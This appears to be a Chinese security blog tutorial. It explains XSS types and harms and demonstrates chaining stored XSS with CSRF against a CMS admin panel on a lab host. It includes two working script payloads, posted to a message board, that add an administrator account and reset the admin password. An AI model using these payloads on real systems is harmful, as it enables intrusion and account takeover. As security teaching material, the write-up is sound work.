freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

XSS与CSRF的联合使用
和风sukf 2021-07-29 17:21:28 257199

XSS漏洞简介

XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)",为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所以将跨站脚本攻击缩写为XSS。XSS注入攻击的原理其实和sql注入攻击的原理很相似,攻击者将恶意的Script代码插入到网页中,当正常用户浏览该页面时,被嵌入的恶意Script代码就会被执行,从而达到恶意攻击正常用户的目的。

XSS分类

跨站脚本注入漏洞是由于WEB服务器读取了用户可控数据输出到HTML页面的过程中没有进行安全处理导致的,用户可控数据包括url、参数、HTTP头部字段(cookie、referer、HOST等)、HTTP请求正文等。
(1)反射型XSS:攻击者输入可控数据到HTML页面中(通常是url),所以输入的数据没有被存储,只能在单次请求中生效。
(2)存储型XSS:攻击者输入可控数据到HTML页面(通常是POST表单:评论、留言板、登录框等),所以输入的数据会被存储到数据库中,由于数据经过存储,可以持续被读取出来,攻击的次数比反射型XSS多。
(3)DOM-XSS:攻击者可控数据通过JavaScript和DOM技术输出到HTML中,其实是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。

XSS危害

(1)流量劫持,利用木马修改浏览器不停的弹出新的窗口强制性的让用户访问指定的网站,为指定网站增加流量
(2)获取用户cookie信息,盗取账号(普通用户、管理员等账号)
(3)篡改、删除页面信息(钓鱼操作)
(4)配合CSRF攻击,实施进一步的攻击,控制被害人的电脑访问其他网站

1626424878_60f1462eb0713b7e4ec48.png!small步骤一:

由于在对管理员帐号编辑的地方,进行密码修改时没有进行2次校验或确认,存在CSRF漏洞,使用XSS脚本对该CSRF漏洞进行利用

通过burp将需要伪造的http请求固有的属性复制到自己编写的代码中

CSRF跨站请求伪造:利用http请求将服务器信赖的http请求发送给服务器,服务器识别之后作处理

以下为CSRF与script的利用,通过打开增加管理员的界面,将请求头部发送和发送新的管理员账户密码

<script>function loadXMLDoc()
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://192.168.159.1/510/510cms/admin/adminadd.php?admin=add",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("name=Test&passwd=abc123&remark= test&mid=2&adminsubmit=%CC%E1%BD%BB");
}
loadXMLDoc();
</script>

1626425088_60f14700781184952047b.png!small

将script代码在留言板发送给管理员,管理员查看留言板之后服务器会跳转界面执行指令

1626425161_60f147498313ff86d97ee.png!small

1626425165_60f1474d868c8f1f7edd9.png!small

下图为添加成功的su管理员

1626425170_60f147524282e414b4886.png!small

通过burp代理拦截,可以查看登陆执行的结果

1626425176_60f14758ec5083f97aff0.png!small

步骤二:

同理可得,将需要伪造的页面通过burp拦截下来,获取其中固有的属性,再将这些属性参数复制到编码中

下图代码为打开修改密码的页面

<script>function loadXMLDoc()
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://192.168.159.1/510/510cms/admin/adminadd.php?Id=1",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("name=Test&passwd=123456&remark=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1&mid=1&adminsubmit=%CC%E1%BD%BB");
}
loadXMLDoc();
</script>

发送http头部请求和发送更改密码的指令,将账户admin的密码改为123456

1626425182_60f1475e027a9fb15c085.png!small

发送到留言板,管理员查看留言板会跳转页面执行指令

1626425197_60f1476d224bc3e4a13b6.png!small1626425201_60f14771387fc5ec5c92d.png!small登入原始的账户和密码,通过burp可以看到密码输入不正确,说明密码已经被服务器改了

1626425206_60f14776b6085f12afaaf.png!small

再输入自己改的密码123456,发现登入成功1626425211_60f1477bcb6d4574a5b63.png!small

# 渗透测试 # 数据泄露 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 和风sukf 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
安全入门
owasptop10
owasp top10
和风sukf LV.4
这家伙太懒了,还未填写个人描述!
  • 18 文章数
  • 33 关注者
cnvd原创漏洞证书---某CMS存在通用型漏洞
2023-12-26
记一次内网渗透
2021-09-11
内网工具---Nishang研究
2021-09-07
文章目录